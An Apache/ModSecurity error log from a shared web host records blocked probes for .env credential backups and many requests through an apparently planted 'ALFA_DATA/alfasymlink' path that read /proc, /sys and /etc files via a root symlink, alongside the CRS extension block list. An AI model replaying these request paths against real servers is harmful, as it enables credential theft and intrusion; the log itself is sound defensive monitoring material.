[Tue Oct 27 03:52:09.846955 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auBYKfBpQA4DT21g-rgTDQAAAAY"]
[Tue Oct 27 03:52:09.847200 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auBYKfBpQA4DT21g-rgTDQAAAAY"]
[Tue Oct 27 03:52:09.847519 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auBYKfBpQA4DT21g-rgTDQAAAAY"]
[Tue Oct 27 03:52:09.971700 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auBYKfBpQA4DT21g-rgTDgAAAAY"]
[Tue Oct 27 03:52:09.972059 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auBYKfBpQA4DT21g-rgTDgAAAAY"]
[Tue Oct 27 03:52:09.972538 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auBYKfBpQA4DT21g-rgTDgAAAAY"]
[Tue Oct 27 03:52:10.068534 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auBYKvBpQA4DT21g-rgTDwAAAAY"]
[Tue Oct 27 03:52:10.068763 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auBYKvBpQA4DT21g-rgTDwAAAAY"]
[Tue Oct 27 03:52:10.069140 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auBYKvBpQA4DT21g-rgTDwAAAAY"]
[Tue Oct 27 03:52:10.147319 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auBYKvBpQA4DT21g-rgTEAAAAAY"]
[Tue Oct 27 03:52:10.147567 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auBYKvBpQA4DT21g-rgTEAAAAAY"]
[Tue Oct 27 03:52:10.147850 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auBYKvBpQA4DT21g-rgTEAAAAAY"]
[Tue Oct 27 03:52:10.154406 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 54.87.62.248:13456] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:52:10.257035 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auBYKvBpQA4DT21g-rgTEQAAAAY"]
[Tue Oct 27 03:52:10.257292 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auBYKvBpQA4DT21g-rgTEQAAAAY"]
[Tue Oct 27 03:52:10.257664 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auBYKvBpQA4DT21g-rgTEQAAAAY"]
[Tue Oct 27 03:52:10.338705 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auBYKvBpQA4DT21g-rgTEgAAAAY"]
[Tue Oct 27 03:52:10.338955 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auBYKvBpQA4DT21g-rgTEgAAAAY"]
[Tue Oct 27 03:52:10.339251 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auBYKvBpQA4DT21g-rgTEgAAAAY"]
[Tue Oct 27 03:52:14.291036 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 34.195.60.66:45606] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:52:18.278523 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 54.235.125.129:49670] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:52:26.152604 2026] [core:error] [pid 3184472:tid 3184472] (13)Permission denied: [client 18.208.11.93:8748] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/slots/30/module/uevent
[Tue Oct 27 03:52:30.181970 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 44.194.139.149:32646] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:52:38.143401 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 23.23.137.202:30615] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:52:42.184431 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 54.166.104.83:9556] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/cpu1/driver/cpu1/firmware_node/eject
[Tue Oct 27 03:52:46.129456 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 34.231.156.59:13146] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:52:58.134005 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 98.84.200.43:10157] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:53:02.134937 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 52.4.76.156:14141] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:53:06.179301 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 52.200.251.20:19081] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:53:26.121259 2026] [ssl:error] [pid 3194328:tid 3194328] (5)Input/output error: [client 3.216.13.10:8545] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:53:38.224292 2026] [core:error] [pid 3184575:tid 3184575] (13)Permission denied: [client 35.169.240.53:44955] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty5/subsystem/tty14/subsystem/ttyS0/flags
[Tue Oct 27 03:53:47.259957 2026] [security2:error] [pid 3194351:tid 3194351] [client 185.191.171.6:42680] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/intel-sst/tuned.conf"] [unique_id "auBYi8-M-kXjH-VclWYJGwAAABg"]
[Tue Oct 27 03:53:47.260375 2026] [security2:error] [pid 3194351:tid 3194351] [client 185.191.171.6:42680] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/intel-sst/tuned.conf"] [unique_id "auBYi8-M-kXjH-VclWYJGwAAABg"]
[Tue Oct 27 03:53:47.260824 2026] [security2:error] [pid 3194351:tid 3194351] [client 185.191.171.6:42680] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/intel-sst/tuned.conf"] [unique_id "auBYi8-M-kXjH-VclWYJGwAAABg"]
[Tue Oct 27 03:53:54.137433 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 54.225.199.17:52715] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:54:18.161985 2026] [ssl:error] [pid 3194328:tid 3194328] (5)Input/output error: [client 44.220.2.97:36800] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:54:22.126050 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 54.89.90.224:28092] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:54:30.144966 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 34.197.28.78:57155] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:54:38.132374 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 3.229.95.193:37194] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:54:42.136325 2026] [core:error] [pid 3194351:tid 3194351] (13)Permission denied: [client 52.22.64.232:26862] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory17/node0/memory6/node0/compact
[Tue Oct 27 03:54:46.123329 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 34.239.85.139:43522] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:54:58.352747 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 52.44.174.136:7822] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:55:06.132010 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 34.195.60.66:27568] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:55:10.144078 2026] [core:error] [pid 3184472:tid 3184472] (13)Permission denied: [client 44.206.65.8:52974] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/system/memory/memory11/node0/subsystem/uevent
[Tue Oct 27 03:55:22.155932 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 54.221.203.24:60261] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:55:34.141525 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 44.205.74.196:33206] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:55:38.122095 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 52.2.4.213:49351] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:55:54.186696 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 100.24.167.60:43090] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:56:02.142993 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 50.16.216.166:2224] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:56:03.511772 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 185.191.171.7:30776] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:56:14.227497 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 34.227.156.153:37975] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:56:18.184683 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 100.24.167.60:59460] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:56:30.129943 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 100.29.164.178:33734] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:56:39.603215 2026] [core:error] [pid 3194254:tid 3194254] (13)Permission denied: [client 85.208.96.208:11962] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uid_cache/poison
[Tue Oct 27 03:57:02.134476 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 52.3.26.180:4669] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:57:06.138188 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 54.197.102.71:64546] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:57:09.956545 2026] [security2:error] [pid 3184471:tid 3184471] [client 16.216.88.4:20480] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/journald.conf"] [unique_id "auBZVdOTO42xOmZCRV02cwAAAAE"]
[Tue Oct 27 03:57:09.957060 2026] [security2:error] [pid 3184471:tid 3184471] [client 16.216.88.4:20480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/journald.conf"] [unique_id "auBZVdOTO42xOmZCRV02cwAAAAE"]
[Tue Oct 27 03:57:09.957457 2026] [security2:error] [pid 3184471:tid 3184471] [client 16.216.88.4:20480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/journald.conf"] [unique_id "auBZVdOTO42xOmZCRV02cwAAAAE"]
[Tue Oct 27 03:57:14.641560 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 54.84.93.8:38779] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:57:22.141218 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 23.21.175.228:5833] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:57:26.135620 2026] [core:error] [pid 3194351:tid 3194351] (13)Permission denied: [client 52.0.41.164:30286] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/device:00/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/0000:00:05.0/remove
[Tue Oct 27 03:57:42.249055 2026] [ssl:error] [pid 3194328:tid 3194328] (5)Input/output error: [client 3.215.221.125:7842] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:57:50.136765 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 54.84.93.8:21868] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:58:02.297390 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 54.84.147.79:9168] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:58:02.840470 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 185.191.171.16:14000] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-192/min_partial
[Tue Oct 27 03:58:10.316654 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 23.21.148.226:21440] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:58:42.260977 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 52.200.142.199:24694] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:58:58.259032 2026] [core:error] [pid 3194327:tid 3194327] (13)Permission denied: [client 34.231.181.240:13789] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/thermal/unbind
[Tue Oct 27 03:59:02.163905 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 52.200.54.136:31524] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:59:10.192952 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 54.197.82.195:28713] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:59:14.308238 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 34.194.14.255:65502] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:59:16.834208 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 185.191.171.15:20880] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:59:18.161662 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 34.231.118.144:64139] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:59:42.151389 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 3.232.102.111:41727] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:59:46.143845 2026] [core:crit] [pid 3184575:tid 3184575] (13)Permission denied: [client 3.212.219.113:48813] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2799886/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2799886/fd/' is executable
